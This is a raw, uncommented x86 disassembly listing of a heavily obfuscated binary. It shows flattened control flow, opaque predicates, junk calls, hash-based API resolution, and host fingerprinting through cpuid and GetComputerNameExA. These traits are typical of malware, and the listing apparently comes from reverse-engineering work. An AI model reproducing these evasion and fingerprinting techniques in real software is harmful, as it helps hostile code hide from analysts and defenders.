mov dword [eax], ecx
mov dword [esi + 4], 0xa70b7a5f
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0xb0
add eax, 0x3b
shr eax, 3
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x6f12b219
jmp 0x43c5f4
mov eax, dword [esi + 0x13c]
mov word [eax], 0
push 0x14
push 0x471f60
push dword [esi + 0x70]
call fcn.0044ac30
add esp, 0xc
push 7
push 0x471f74
push 0xa
push dword [esi + 0x70]
call fcn.00441b30
add esp, 0x10
push dword [esi + 0x70]
push 0x3d95e230
call fcn.004455e0
add esp, 8
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0xc1f8ed49
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
mov ecx, 0xd6
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x5179
dec edx
shr eax, 6
and eax, 0x3fffe
mov dword [esi + 0xc], eax
mov eax, 0x68829f86
cmp edx, ecx
je 0x441ad4
mov eax, 0x18fafddd
jmp 0x441ad4
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0xb4]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x54]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x110]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x1a4], eax
mov dword [esi + 4], 0x21b7f17
jmp 0x43c5f4
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x8c], eax
mov dword [esi + 4], 0x8cbc9033
jmp 0x43c5f4
mov eax, dword [esi + 0x17c]
mov byte [eax], 0
mov edi, 0x17
push edi
push 0x47e0c0
push dword [esi + 0x9c]
call fcn.0044ac30
add esp, 0xc
push 5
push 0x47e0d7
push edi
push dword [esi + 0x9c]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0xadca8570
jmp 0x43c5f4
imul edi, dword [esi + 8], 0xea
add edi, 0xffffea2a
mov ebx, edi
shr ebx, 0xb
mov dword [esi + 8], ebx
push ebx
push 0x37cc
push 0x3915
push 0x3b5c
call fcn.00441c50
add esp, 0x10
push ebx
call fcn.0043c5dc
add esp, 4
mov eax, 0xd7f59a15
cmp edi, 0x32000
jae 0x4419da
mov eax, 0xda81f155
jmp 0x4419da
mov edi, dword [esi + 8]
add edi, 0xffffffaa
mov dword [esi + 8], edi
push 0x5ca4
push edi
push 0x438b
push 0x1877
call fcn.00441c50
add esp, 0x10
mov eax, 0x7b8d484e
cmp edi, 0x46
jb 0x4419da
mov eax, 0x95a6045c
jmp 0x4419da
mov edi, dword [esi + 8]
shr edi, 7
and edi, 0x7fffff
add edi, 0xffffff0e
mov eax, edi
shr eax, 4
mov dword [esi + 8], eax
push 0x1c2d
push 0x2a70
push eax
push 0x881
call fcn.00441b30
add esp, 0x10
mov eax, 0xcca0ae10
cmp edi, 0x890
jb 0x4419da
mov eax, 0x90f584d5
jmp 0x4419da
mov edi, 0x14
push edi
push 0x47e120
push dword [esi + 0xac]
call fcn.0044ac30
add esp, 0xc
push 5
push 0x47e134
push edi
push dword [esi + 0xac]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x940f8e51
jmp 0x43c5f4
push dword [esi + 0xec]
push 0x5f086d32
call fcn.004455e0
add esp, 8
mov dword [esi + 0x1f0], eax
mov dword [esi + 4], 0xc87144d5
jmp 0x43c5f4
mov eax, dword [esi + 0x80]
mov byte [eax + 2], 0
mov eax, dword [esi + 0x80]
movzx ecx, word [0x47e047]
mov word [eax], cx
mov eax, 2
push eax
push 0x47e049
push eax
push dword [esi + 0x80]
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x24ae5f8a
jmp 0x43c5f4
mov dword [esi + 4], 0x72e61f71
jmp 0x43c5f4
mov dword [esi + 4], 0xafc4ee92
jmp 0x43c5f4
imul edi, dword [esi + 8], 0x54
add edi, 0x906
mov ebx, edi
shr ebx, 0xd
mov dword [esi + 8], ebx
push ebx
call fcn.0043c5dc
add esp, 4
push ebx
push 0x4188
push 0x62da
call fcn.00429e5e
add esp, 0xc
mov eax, 0x7e308d03
cmp edi, 0x122000
jae 0x4419da
mov eax, 0xf6f31fa8
jmp 0x4419da
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x1dc], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1d0]
mov dword [eax + 0x20], ecx
mov dword [esi + 4], 0x6bb23f40
jmp 0x43c5f4
push 1
push 0x55
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0x9e3e6a69
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 4
and eax, 0xffffff0
add eax, 0x160
mov dword [esi + 8], eax
call fcn.00407b67
mov dword [esi + 4], 0x9187a371
jmp 0x43c5f4
push eax
mov eax, esp
mov dword [esi + 0x18], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x34], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x38], eax
mov dword [esi + 4], 0x1300cda0
jmp 0x43c5f4
imul edi, dword [esi + 8], 0x2f
add edi, 0x1fc3
mov dword [esi + 8], edi
call fcn.00407b67
mov eax, 0x9187a371
cmp edi, 0xf8
jge 0x441ad4
mov eax, 0xd9f4c74f
jmp 0x441ad4
mov eax, dword [esi + 0xc]
add eax, 0x23
imul ecx, eax, 0xf3
imul eax, eax
imul edx, eax, 0x4489
add ecx, 0xffffff22
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x60f7684c
cmp eax, edx
je 0x4415ef
mov ecx, 0x50e13ecb
jmp 0x4415ef
mov eax, dword [esi + 0x94]
mov byte [eax + 0xd], 0
mov eax, dword [esi + 0x94]
mov cl, byte [0x47e07e]
mov byte [eax + 0xc], cl
mov ecx, dword [0x47e07a]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e076]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e072]
mov dword [eax], ecx
mov dword [esi + 4], 0x1fb4c7e1
jmp 0x43c5f4
mov edi, dword [esi + 8]
mov eax, 0xd1
add edi, eax
shr edi, 0x1b
mov dword [esi + 8], edi
push 0x2b20
push edi
push 0x2284
call fcn.00429e5e
add esp, 0xc
push 0x393f
push edi
push 0x23ae
push 0x5c8c
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xd7f59a15
jmp 0x43c5f4
mov eax, dword [esi + 0x160]
lea ecx, [esi + 0x130]
push ecx
push dword [esi + 0x100]
call eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x88], eax
mov eax, dword [esi + 0x88]
mov byte [eax + 6], 0
mov dword [esi + 4], 0x9d83e824
jmp 0x43c5f4
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0xb1
add eax, 0xffffb12e
imul eax, eax
imul edx, eax, 0x12f7
dec edx
imul ecx, ecx, 0x6918
add ecx, 0xffd1a8e0
mov dword [esi + 0xc], ecx
mov ecx, 0x926682c1
cmp eax, edx
je 0x4415ef
mov ecx, 0x4d69ac90
jmp 0x4415ef
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0xb0]
mov word [eax + 0x18], 0
push 0x18
push 0x471ff0
push dword [esi + 0xb0]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0x2931a872
jmp 0x43c5f4
mov edi, dword [esi + 8]
shr edi, 2
add edi, 0xffffff94
shr edi, 6
mov dword [esi + 8], edi
push edi
call fcn.0043c5dc
add esp, 4
push edi
call fcn.0043c5dc
add esp, 4
mov eax, 0x6fbcf5f2
cmp edi, 0x4e
je 0x4419da
mov eax, 0x4060ad2
jmp 0x4419da
mov edi, 0x1b
push edi
push 0x47e090
push dword [esi + 0x98]
call fcn.0044ac30
add esp, 0xc
push 7
push 0x47e0ab
push edi
push dword [esi + 0x98]
call fcn.00441c50
add esp, 0x10
push 0x1c
push dword [esi + 0x98]
push dword [esi + 0x3c]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0x26f2d5a5
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0x920
add eax, 0xfffef760
shr eax, 0xc
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xe0f47d0b
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
and eax, 0xfffffff8
shl eax, 6
add eax, 0xffffffac
shr eax, 0x11
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x3e11c0be
jmp 0x43c5f4
mov eax, 0x80000003
xor ecx, ecx
cpuid
mov dword [esi + 0xc8], eax
mov dword [esi + 0xcc], ebx
mov dword [esi + 0xd0], ecx
mov dword [esi + 0xd4], edx
mov eax, dword [esi + 0xcc]
mov eax, dword [esi + 0xd0]
mov eax, dword [esi + 0xd4]
mov eax, dword [esi + 0xc8]
mov dword [esi + 0x1b8], eax
mov dword [esi + 4], 0x17c84498
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, eax
add eax, 0xd6
shr eax, 4
imul eax, eax, 0x7b
shr eax, 5
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa9dcb452
jmp 0x43c5f4
push 0xa
push dword [esi + 0x114]
push dword [esi + 0x1f4]
call fcn.00459098
add esp, 0xc
mov eax, dword [esi + 0x60]
sub esp, 0x20
mov eax, esp
mov dword [esi + 0xf0], eax
mov dword [esi + 4], 0xb77d2fbc
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 4
add eax, 0xbaf
mov dword [esi + 8], eax
mov dword [esi + 4], 0x968581c2
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0x923c
add eax, 0xff89c17c
shr eax, 6
imul eax, eax, 0x570
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa8a3256c
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 2
and eax, 0x3ffff000
lea ecx, [eax + eax*8]
lea ecx, [eax + ecx*4]
add ecx, 0xfe94f07b
mov dword [esi + 8], ecx
mov eax, 0xebcb402f
cmp ecx, 0xbf
jae 0x4419da
mov eax, 0x5b5bca45
jmp 0x4419da
mov eax, dword [esi + 0x15c]
mov ecx, dword [esi + 0x80]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.0045aa23
add esp, 8
mov dword [esi + 0x100], eax
mov dword [esi + 4], 0x51bd2630
jmp 0x43c5f4
mov eax, dword [esi + 8]
add eax, 0xffffff89
shr eax, 1
and eax, 0x7fffc000
add eax, 0x26c000
shr eax, 9
mov dword [esi + 8], eax
push 0x4ae2
push 0x5677
push eax
push 0x460f
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0x573d535a
jmp 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0xffffff6d
add eax, ecx
shr eax, 0xd
add eax, 0x51
mov dword [esi + 8], eax
push eax
call fcn.0043c5dc
add esp, 4
mov dword [esi + 4], 0xadca8570
jmp 0x43c5f4
push dword [esi + 0x14]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov dword [esi + 0x1e4], eax
mov dword [esi + 4], 0x3c323645
jmp 0x43c5f4
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0x184], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 4]
mov dword [esi + 0x188], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax]
mov dword [esi + 0x18c], eax
mov eax, dword [esi + 0x180]
mov eax, dword [eax*4 + 0x47dfd0]
mov dword [esi + 0x190], eax
mov dword [esi + 4], 0x5f61c8e0
jmp 0x43c5f4
mov dword [esi + 4], 0xe5dfa1d0
jmp 0x43c5f4
mov edi, dword [esi + 8]
shr edi, 0x1a
mov dword [esi + 8], edi
call fcn.00407b67
push 0x3ff1
push 0x5af0
push edi
push 0x34e7
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xaf90a898
jmp 0x43c5f4
mov dword [esi + 4], 0x9ec4daa9
jmp 0x43c5f4
push eax
sub esp, 0x18
mov edi, esp
mov word [edi + 0x18], 0
push 0x18
push 0x471fc0
push edi
call fcn.0044ac30
add esp, 0xc
push 5
push 0x471fd8
push 0xc
push edi
call fcn.00441b30
add esp, 0x10
push edi
push 0x23fef64a
call fcn.004455e0
add esp, 8
mov dword [esi + 0x168], eax
mov dword [esi + 4], 0x4859d937
jmp 0x43c5f4
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x60], eax
mov dword [esi + 4], 0x9d05032
jmp 0x43c5f4
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1b4]
mov dword [eax + 0xc], ecx
mov dword [esi + 4], 0x4a68bd49
jmp 0x43c5f4
mov dword [esi + 4], 0x742fe649
jmp 0x43c5f4
push 0x18
push dword [esi + 0x9c]
push dword [esi + 0x44]
call fcn.0044ac30
add esp, 0xc
push dword [esi + 0x44]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xf34aba5
jmp 0x43c5f4
mov edi, dword [esi + 8]
add edi, 0x70
mov dword [esi + 8], edi
push edi
push 0x27dd
push 0x26ab
push 0x45e3
call fcn.00441b30
add esp, 0x10
mov eax, 0x8a871d56
cmp edi, 0x1b
jge 0x441ad4
mov eax, 0xfdec072d
jmp 0x441ad4
mov eax, dword [esi + 8]
shr eax, 4
lea eax, [eax*8 + 0x150]
and eax, 0xffffc000
imul edi, eax, 0xb1
mov dword [esi + 8], edi
call fcn.00407b67
mov eax, 0x968581c2
cmp edi, 0x7c
jl 0x441ad4
mov eax, 0x892dc24b
jmp 0x441ad4
imul eax, dword [esi + 0xc], 0x36ce0
add eax, 0xffffffc1
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x414a9608
jmp 0x43c5f4
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x84], eax
mov eax, dword [esi + 0x84]
mov word [eax + 0x18], 0
push 0x18
push 0x471f90
push dword [esi + 0x84]
call fcn.0044ac30
add esp, 0xc
mov dword [esi + 4], 0xa7b17fcd
jmp 0x43c5f4
mov eax, dword [esi + 0xf4]
add eax, 0x14
mov dword [esi + 0x1f8], eax
mov dword [esi + 4], 0x4e2f86ef
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0xa
add eax, 0xffffffd5
shr eax, 6
imul eax, eax, 0x3294
add eax, 0x4d64
mov dword [esi + 8], eax
mov dword [esi + 4], 0xfc661b1c
jmp 0x43c5f4
mov eax, dword [esi + 0xe8]
add eax, 0xc
mov dword [esi + 0x1e0], eax
mov dword [esi + 4], 0xc6c0286
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 0xb
mov ecx, eax
shl ecx, 8
sub ecx, eax
add ecx, 0xe1
mov dword [esi + 8], ecx
push 0x1bb8
push ecx
push 0x3437
push 0x15c6
call fcn.00441c50
add esp, 0x10
mov dword [esi + 4], 0x8cbc9033
jmp 0x43c5f4
push dword [esi + 0x40]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xe34bf198
jmp 0x43c5f4
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0xf9]
imul eax, eax
imul edx, eax, 0x2cdd
shl ecx, 0x19
dec edx
add ecx, 0x7600002b
mov dword [esi + 0xc], ecx
mov ecx, 0xd7f59a15
cmp edx, eax
je 0x4415ef
mov ecx, 0x4c23bd11
jmp 0x4415ef
mov eax, dword [esi + 8]
mov ecx, 0xffffff1b
add eax, ecx
shr eax, 0xc
add eax, 0xffffffb3
shr eax, 0xb
add eax, 0x39
mov dword [esi + 8], eax
mov ecx, 0x846455cb
cmp eax, 0xf0
je 0x43fdf4
mov ecx, 0x2d2eb519
mov dword [esi + 4], ecx
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
lea ecx, [eax + 0x2e]
imul ecx, ecx
imul edx, ecx, 0x7377
dec edx
add eax, 0xffffff37
mov dword [esi + 0xc], eax
mov eax, 0x1fe1638
cmp ecx, edx
je 0x441ad4
mov eax, 0x71534070
jmp 0x441ad4
mov eax, dword [esi + 8]
shr eax, 8
imul edi, eax, 0xe7
add edi, 0xafbb
and edi, 0xfffff800
mov dword [esi + 8], edi
push edi
push 0x4c10
push 0x4b3b
call fcn.00429e5e
add esp, 0xc
mov eax, 0x65f63dc8
cmp edi, 0x10
jge 0x4419da
mov eax, 0xa273d5d7
jmp 0x4419da
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x1b0], eax
mov dword [esi + 4], 0x4d2b97c4
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
mov ecx, 0xffffff39
add eax, ecx
imul ecx, eax, 0x4f0000
imul eax, eax
imul edx, eax, 0x36e9
dec edx
add ecx, 0xfffffffd
shr ecx, 0xa
mov dword [esi + 0xc], ecx
mov ecx, 0x968581c2
cmp edx, eax
je 0x4415ef
mov ecx, 0xcca0ae10
jmp 0x4415ef
push 7
push 0x471fa8
push 0xc
push dword [esi + 0x84]
call fcn.00441b30
add esp, 0x10
push dword [esi + 0x84]
push 0xa2f80070
call fcn.004455e0
add esp, 8
mov dword [esi + 0x160], eax
mov dword [esi + 4], 0x846455cb
jmp 0x43c5f4
imul edi, dword [esi + 8], 0x8521
add edi, 0xffceb72a
mov dword [esi + 8], edi
call fcn.00407b67
push edi
push 0x112c
push 0x53ef
call fcn.00429e5e
add esp, 0xc
mov eax, 0x337bd74f
cmp edi, 0x70
jb 0x440f40
jmp 0x4419da
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
mov dword [esi + 4], 0x5e3e7f9b
jmp 0x43c5f4
imul eax, dword [esi + 8], 0x2f
add eax, 0xfffff411
shr eax, 0xe
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea edi, [ecx + eax]
add eax, ecx
add eax, 0xfffff0c4
mov dword [esi + 8], eax
push 0x510f
push eax
push 0x13d7
push 0x4d36
call fcn.00441b30
add esp, 0x10
mov eax, 0xd19c6e24
cmp edi, 0xf4b
jae 0x4419da
mov eax, 0xfc661b1c
jmp 0x4419da
mov eax, dword [esi + 8]
lea ecx, [eax + eax]
add ecx, 0xffffff40
mov dword [esi + 8], ecx
mov eax, 0x31eef73b
cmp ecx, 0xbe
jl 0x441ad4
mov eax, 0xe291ce19
jmp 0x441ad4
mov eax, dword [esi + 8]
shl eax, 0xd
add eax, 0x166000
shr eax, 4
add eax, 0xffffffa8
mov dword [esi + 8], eax
mov dword [esi + 4], 0xaa1ae03
jmp 0x43c5f4
mov eax, dword [esi + 0x154]
mov byte [eax], 0
mov eax, dword [esi + 0x78]
mov cl, byte [0x47e02b]
mov byte [eax + 0xa], cl
movzx ecx, word [0x47e029]
mov word [eax + 8], cx
mov ecx, dword [0x47e025]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e021]
mov dword [eax], ecx
mov dword [esi + 4], 0x6325024d
jmp 0x43c5f4
mov dword [esi + 4], 0xf0d7feb
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0x15
add eax, 0xfffffa6f
mov dword [esi + 8], eax
push 0x2ab0
push 0x15e2
push 0x6296
push eax
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0xaeb5f18c
jmp 0x43c5f4
mov eax, dword [esi + 0xa4]
mov byte [eax + 0xe], 0
mov dword [esi + 4], 0x78f3693f
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, 0xfffffffa
shr eax, 0xa
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x43fd
add eax, 0xffffffe1
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x33f31bd9
cmp edx, ecx
je 0x441ad4
mov eax, 0x2c737f8a
jmp 0x441ad4
mov eax, dword [esi + 0xe8]
mov ecx, dword [0x47e155]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e151]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e14d]
mov dword [eax], ecx
mov dword [esi + 4], 0x30648f0b
jmp 0x43c5f4
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x58], eax
mov dword [esi + 4], 0xac5fe779
jmp 0x43c5f4
mov dword [esi + 4], 0x926682c1
jmp 0x43c5f4
mov dword [esi + 0x12c], 0x8000
mov dword [esi + 4], 0xa7992a69
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
lea eax, [eax + eax*8]
add eax, eax
add eax, 0xffffff3d
shr eax, 0xf
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x69b6f6d0
jmp 0x43c5f4
mov dword [esi + 4], 0x5aad65f8
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
shl eax, 0x19
add eax, 0xffb0003c
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8a50d471
jmp 0x43c5f4
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x78], eax
mov dword [esi + 4], 0xb7228b91
jmp 0x43c5f4
imul ecx, dword [esi + 8], 0x19e00
add ecx, 0xffffff7e
mov eax, ecx
shr eax, 0xd
mov dword [esi + 8], eax
mov eax, 0xd7f59a15
cmp ecx, 0x130000
jae 0x441a41
jmp 0x441ad4
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.0044b730
add esp, 0xc
mov dword [esi + 4], 0x5ef3a07c
jmp 0x43c5f4
mov eax, dword [esi + 8]
shr eax, 7
add eax, 0xfffffeb4
shr eax, 0xa
imul ecx, eax, 0x64
mov dword [esi + 8], ecx
mov eax, 0x9421147a
cmp ecx, 0x22
jb 0x4419da
mov eax, 0x582958df
jmp 0x4419da
mov eax, dword [esi + 0xa4]
movzx ecx, word [0x47e0f9]
mov word [eax + 0xc], cx
mov ecx, dword [0x47e0f5]
mov dword [eax + 8], ecx
mov ecx, dword [0x47e0f1]
mov dword [eax + 4], ecx
mov ecx, dword [0x47e0ed]
mov dword [eax], ecx
push 7
push 0x47e0fb
push 0xe
push dword [esi + 0xa4]
call fcn.00441c50
add esp, 0x10
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0xa4]
mov edx, dword [ecx + 0xb]
mov dword [eax + 0xb], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x11382793
jmp 0x43c5f4
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1d4], eax
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xe0]
mov dword [esi + 0x1d8], eax
mov dword [esi + 4], 0x5b16845c
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0x2100
add eax, 0xffe4cc79
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf9579f9
jmp 0x43c5f4
mov eax, dword [esi + 0x1a4]
mov word [eax], 0xa
mov dword [esi + 4], 0xb2e4f7c0
jmp 0x43c5f4
mov edi, dword [esi + 8]
shl edi, 7
mov ebx, 0xc58dc5ce
and edi, 0x1ffff000
mov dword [esi + 8], edi
je 0x440303
mov ebx, 0xce82bb8e
push edi
call fcn.0043c5dc
add esp, 4
push edi
push 0x4873
push 0x25da
push 0x3e7f
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], ebx
jmp 0x43c5f4
mov eax, dword [esi + 0xf0]
mov byte [eax + 0x1d], 0
mov dword [esi + 4], 0x23ed04b4
jmp 0x43c5f4
mov eax, dword [esi + 0xec]
mov word [eax + 0x18], 0
push 0x18
push 0x472020
push dword [esi + 0xec]
call fcn.0044ac30
add esp, 0xc
push 7
push 0x472038
push 0xc
push dword [esi + 0xec]
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0x1b1eb891
jmp 0x43c5f4
push dword [esi + 0x108]
push dword [esi + 0x10]
call fcn.0045bb20
add esp, 8
mov dword [esi + 4], 0xac006f05
jmp 0x43c5f4
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x14c]
mov dword [esi + 0x150], eax
mov dword [esi + 4], 0x42bd2fc1
jmp 0x43c5f4
push 0x55
push dword [esi + 0x10c]
push dword [esi + 0x110]
call fcn.0045cb0d
add esp, 0xc
mov eax, dword [esi + 0x54]
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xb4], eax
mov dword [esi + 4], 0x5c3dcc02
jmp 0x43c5f4
mov eax, dword [esi + 8]
shl eax, 0xb
add eax, 0x7fffc2
shr eax, 5
imul eax, eax, 0x344000
add eax, 0xe7ea8000
mov dword [esi + 8], eax
push 0x1689
push eax
push 0x4ea6
push 0x17b3
call fcn.00441b30
add esp, 0x10
mov dword [esi + 4], 0x106df04d
jmp 0x43c5f4
imul eax, dword [esi + 0xc], 0xbf
add eax, 0xc2bb
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x296f
dec edx
shl eax, 5
lea eax, [eax + eax*4]
mov dword [esi + 0xc], eax
mov eax, 0x38c87238
cmp ecx, edx
jne 0x4406a6
jmp 0x441ad4
mov ebx, dword [esi + 8]
shl ebx, 0xa
add ebx, 0xfffd4000
mov edi, ebx
shr edi, 8
mov dword [esi + 8], edi
push 0x2d82
push 0x5337
push edi
call fcn.00429e5e
add esp, 0xc
push 0x4107
push edi
push 0x3aa
call fcn.00429e5e
add esp, 0xc
mov eax, 0x72a94833
cmp ebx, 0xfb01
jae 0x441ad4
mov eax, 0x296a30b4
jmp 0x441ad4
push dword [esi + 0x10]
call fcn.0045bd00
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x18]
mov dword [eax], 0x100
push dword [esi + 0x18]
push dword [esi + 0x40]
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0xc3ca6584
jmp 0x43c5f4
mov eax, dword [esi + 0x88]
movzx ecx, word [0x47e04f]
mov word [eax + 4], cx
mov ecx, dword [0x47e04b]
mov dword [eax], ecx
mov dword [esi + 4], 0xbd25fd98
jmp 0x43c5f4
mov eax, dword [esi + 0x5c]
mov dword [esi + 4], 0xb0ae65cd
jmp 0x43c5f4
mov eax, dword [esi + 0x8c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1fc], ecx
mov dword [esi + 0x200], edx
mov al, byte [eax + 8]
mov byte [esi + 0x204], al
mov dword [esi + 4], 0xa3175afd
jmp 0x43c5f4
mov eax, dword [esi + 8]
mov ecx, 0x128
add eax, ecx
shr eax, 5
imul edi, eax, 0x5a
add edi, 0x739
mov dword [esi + 8], edi
push 0x2f60
push edi
push 0x6394
call fcn.00429e5e
add esp, 0xc
mov eax, 0x34044c91
cmp edi, 0x79
jge 0x4419da
mov eax, 0x6b2ca038
jmp 0x4419da
imul eax, dword [esi + 8], 0x23400
or eax, 0x79
mov dword [esi + 8], eax
call fcn.00407b67
mov dword [esi + 4], 0x38777f9f
jmp 0x43c5f4
imul eax, dword [esi + 8], 0x27800
or eax, 0x83
imul edi, eax, 0x83
mov eax, edi
shr eax, 8
mov dword [esi + 8], eax
push 0xef3
push eax
push 0x1136
push 0x244e
call fcn.00441c50
add esp, 0x10
mov eax, 0x2c2e24d9
cmp edi, 0x5a00
jb 0x4419da
mov eax, 0x73342376
jmp 0x4419da
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x1c0]
mov dword [eax + 0x18], ecx
mov dword [esi + 4], 0xeff5112
jmp 0x43c5f4
mov eax, dword [esi + 8]
add eax, 0xf
shr eax, 0xc
imul ecx, eax, 0x52
shr ecx, 6
add ecx, 0xffffffc9
mov dword [esi + 8], ecx
mov eax, 0x11a645dd
cmp ecx, 0x74
jb 0x441ad4
mov eax, 0xbb90c67c
jmp 0x441ad4
mov eax, dword [esi + 0xc]
shr eax, 0xb
imul ecx, eax, 0xe7
imul ecx, ecx
imul edx, ecx, 0xa1b
dec edx
mov dword [esi + 0xc], 0x33
mov eax, 0x5b1f0cf1
cmp ecx, edx
je 0x441ad4
mov eax, 0x65ed1883
jmp 0x441ad4
imul edi, dword [esi + 8], 0x58
add edi, 0xfffffea0
mov dword [esi + 8], edi
push 0x390b
push 0x41f5
push edi
call fcn.00429e5e
add esp, 0xc
mov eax, 0x8456efa9
cmp edi, 0x26
jge 0x441ad4
mov eax, 0xfc661b1c
jmp 0x441ad4
imul eax, dword [esi + 0xc], 0x78
add eax, 0xffffff56
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x12b4627a
jmp 0x43c5f4
mov eax, dword [esi + 0xc]
add eax, 0x75
mov ecx, eax
shr ecx, 2
imul eax, eax
imul edx, eax, 0x38e7
dec edx
imul ecx, ecx, 0x726
add ecx, 0x753c
mov dword [esi + 0xc], ecx
mov ecx, 0xe5acd740
cmp eax, edx
je 0x4415ef
